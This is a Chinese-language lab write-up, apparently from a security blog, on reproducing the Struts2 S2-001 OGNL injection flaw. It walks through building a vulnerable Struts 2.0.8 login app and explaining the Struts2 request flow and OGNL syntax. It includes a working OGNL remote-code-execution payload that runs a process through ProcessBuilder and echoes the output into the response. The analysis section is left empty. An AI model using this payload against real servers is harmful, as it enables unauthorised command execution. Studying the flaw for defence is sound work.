简介

编号为S2-001的漏洞,WebWork 2.1+和Struts 2的altSyntax功能允许将OGNL表达式插入文本字符串并进行递归处理。

恶意用户通过HTML表单的textfield字段提交包含OGNL表达式的字符串,如果表单验证失败,该字符串将由服务器作为OGNL表达式执行。

受影响版本为:

  • WebWork 2.1(启用altSyntax)

  • WebWork 2.2.0-WebWork 2.2.5

  • Struts 2.0.0-Struts 2.0.8

本文将从零搭建漏洞环境,学习OGNL表达式,以及S2-001的分析。

搭建复现

主要环境参数:

  • Java Version “1.8.0_112”
  • Struts2-2.0.8
  • Apache-Tomcat-8.5.56

使用IDEA搭建环境,创建Maven项目并选择对应的模板。

image-20201229180133311

pom.xml关键的两个配置

添加存在漏洞的依赖库

1
2
3
4
5
<dependency>
<groupId>org.apache.struts</groupId>
<artifactId>struts2-core</artifactId>
<version>2.0.8</version>
</dependency>

<build>增加子节点,将需要struts.xml配置文件也加入编译后的目录

1
2
3
4
5
6
7
8
<resources>
<resource>
<directory>main/java</directory>
<includes>
<include>**/*.xml</include>
</includes>
</resource>
</resources>

web.xml中配置Struts2的核心过滤器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd" >

<web-app>
<display-name>S2-001 Example</display-name>
<filter>
<filter-name>struts2</filter-name>
<filter-class>org.apache.struts2.dispatcher.FilterDispatcher</filter-class>
</filter>
<filter-mapping>
<filter-name>struts2</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
<welcome-file-list>
<welcome-file>index.jsp</welcome-file>
</welcome-file-list>
</web-app>

src/main/java/com/s2001/action/LoginAction.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
package com.s2001.action;

import com.opensymphony.xwork2.ActionSupport;

public class LoginAction extends ActionSupport {
private String username = null;
private String password = null;

public String getUsername() {
return this.username;
}

public String getPassword() {
return this.password;
}

public void setUsername(String username) {
this.username = username;
}

public void setPassword(String password) {
this.password = password;
}

public String execute() throws Exception {
if ((this.username.isEmpty()) || (this.password.isEmpty())) {
return "error";
}
if ((this.username.equalsIgnoreCase("admin"))
&& (this.password.equals("admin"))) {
return "success";
}
return "error";
}
}

src/main/webapp/index.jsp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>S2-001</title>
</head>
<body>
<h2>S2-001 Demo</h2>
<p>link: <a href="https://cwiki.apache.org/confluence/display/WW/S2-001">https://cwiki.apache.org/confluence/display/WW/S2-001</a></p>
<s:form action="login">
<s:textfield name="username" label="username" />
<s:textfield name="password" label="password" />
<s:submit></s:submit>
</s:form>
</body>
</html>

src/main/webapp/welcome.jsp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<%--
Created by IntelliJ IDEA.
User: rai4over
Date: 2020/12/21
Time: 2:24 下午
To change this template use File | Settings | File Templates.
--%>
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>S2-001</title>
</head>
<body>
<p>Hello <s:property value="username"></s:property></p>
</body>
</html>

最终的项目机构如下:

image-20201230151458639

接着配置tomcat服务器

image-20201230152147449

注入表达式%{1+1}

image-20201230152626645

得到计算结果2

POC:

1
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

Struts2请求流程

早期的Struts2框架请求流程如下:

image-20201230155712594

1)首先客户端浏览器发送一个请求(HttpServletRequest)。

2)接着程序会调用FilterDispatcher,然后询问ActionMapper这个请求是否需要调用某个Action

3)如果ActionMapper决定需要调用某个ActionFilterDispatcher会把请求的处理交给ActionProxy

4)ActionProxy通过配置管理器(Configuration Manager)从配置文件(struts.xml)中读取框架的配置信息,从而找到需要调用的Action类。

5)ActionProxy会创建一个ActionInvocation的实例。

6)ActionInvocation使用命名模式调用Action,在调用Action前,会依次调用所有配置的拦截器(Intercepter1Intercepter2……)。

7)一旦Action执行完,则返回结果字符串,ActionInvocation就会负责查找结果字符串对应的Result,然后执行这个Result。通常情况下 Result 会调用一些模板(JSP 等)呈现页面。

8)产生的Result信息返回给ActionInvocation,在此过程中拦截器会被再次执行(顺序与Action执行之前相反)。

9)最后产生一个HttpServletResponse的响应行为,通过FilterDispatcher反馈给客户端。

  • FilterDispathcer (org.apache.struts2.dispatcher.FilterDispatcher)在早期的Struts2开发中使用,从Struts 2.1.3开始,它已不推荐使用。
  • Struts的版本 >= 2.1.3,推荐升级到新的Filter-StrutsPrepareAndExecuteFilter(org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter)

OGNL

OGNL 的全称是Object-Graph Navigation Language,即对象图导航语言,它是一种功能强大的开源表达式语言。使用这种表达式语言可以通过某种表达式语法存取 Java对象的任意属性,调用 Java 对象的方法,以及实现类型转换等。

OGNL 具有以下特点。

  • 支持对象方法调用。如objName.methodName()
  • 支持类静态方法调用和值访问,表达式的格式为@[类全名(包括包路径)]@[方法名|值名]。如 @java.lang.String@format('fruit%s','frt')
  • 支持赋值操作和表达式串联。如 price=100discount=0.8,在方法calculatePrice()中进行乘法计算会返回 80。
  • 访问OGNL上下文(OGNL context)和ActionContext
  • 操作集合对象。

OGNL具有三要素:

  • 表达式(expression):表达式是整个OGNL的核心,表达式就是一个带有语法含义的字符串,所有 OGNL 操作都是针对表达式解析后进行的,这个字符串规定了操作的类型和操作的内容。
  • 上下文对象(context):context可以理解为对象运行的上下文环境,contextMAP的结构、利用键值对关系来描述对象中的属性以及值;
  • 根对象(root):root可以理解为OGNL的操作对象,OGNL可以对root进行取值或写值等操作,表达式规定了“做什么”,而根对象则规定了“对谁操作”。实际上根对象所在的环境就是OGNL的上下文对象环境

image-20201230202434737

值栈(ValueStack)就是root,就是OGNL表达式存取数据的地方。值栈贯穿整个Action的生命周期,每个Action类的对象实例都拥有一个ValueStack对象,值栈的生命周期随着request的创建而创建,随着request的销毁而销毁。

OGNL表达式

在实际开发过程中,OGNL 表达式要结合 struts2 的标签使用,主要就是%#$三个符号的使用。

  • #,访问非根对象的属性,如访问OGNL上下文和Action上下文,由于值栈被视为根对象,所以访问其他非根对象时,需要加#前缀;用于过滤和投影集合;构造Map
  • %,符的用途是在标志的属性为字符串类型时,告诉执行环境%{}里的是OGNL表达式并计算表达式的值。
  • $,在标签的属性值被理解为字符串类型时,告诉执行环境%{}中的是OGNL表达式,并计算OGNL表达式的值。

使用OGNL访问对象方法和静态方法

  • OGNL访问对象方法

在request 中获取值栈

在 ActionContext 中获取值栈

漏洞分析

参考

https://cwiki.apache.org/confluence/display/WW/S2-001

https://mengsec.com/2019/10/29/Java-Web-Struts2-Env-Build/

https://mengsec.com/2019/10/29/Java-Web-S2-001/

http://c.biancheng.net/view/4066.html

https://www.mi1k7ea.com/2020/03/16/OGNL%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E6%80%BB%E7%BB%93/